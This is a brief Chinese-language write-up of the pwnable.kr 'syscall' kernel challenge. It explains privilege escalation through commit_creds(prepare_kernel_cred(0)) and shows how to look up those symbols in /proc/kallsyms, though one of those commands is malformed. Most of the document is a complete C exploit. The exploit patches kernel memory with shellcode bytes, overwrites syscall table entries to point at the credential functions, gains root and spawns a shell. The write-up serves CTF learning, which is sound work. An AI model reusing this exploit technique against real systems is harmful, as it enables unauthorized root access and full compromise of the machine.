参考
https://github.com/sonysame/pwnable.kr_syscall/blob/master/syscall_exploit.c
内核pwn的基础题目，学到了许多~~~
内核pwn的题目一般是驱动有漏洞/系统调用有漏洞
且内核pwn的目的一般都是提权
即

```
commit_creds(prepare_kernel_cred(0))
```

这两个函数可以使用命令

```
cat cat /proc/kallsyms | grep prepare_kernel_cred
cat cat /proc/kallsyms | commit_creds
```

获得

```
#include <stdio.h>

#define SYS_CALL_TABLE          0x8000e348
#define SYS_UPPER           223
//#define commit_creds        0x8003f56c
//#define prepare_kernel_cred 0x8003f924
unsigned int ** sct;

int main(void){
    sct=(unsigned int **)SYS_CALL_TABLE;
    syscall(SYS_UPPER,"\x01\x10\xa0\xe1\x01\x10\xa0\xe1\x01\x10\xa0\xe1",0x8003f560);
    syscall(SYS_UPPER,"\x60\xf5\x03\x80",&sct[25]);
    syscall(SYS_UPPER,"\x24\xf9\x03\x80",&sct[13]);
    syscall(25,syscall(13,0));
    system("/bin/sh");
    return 0;
}
```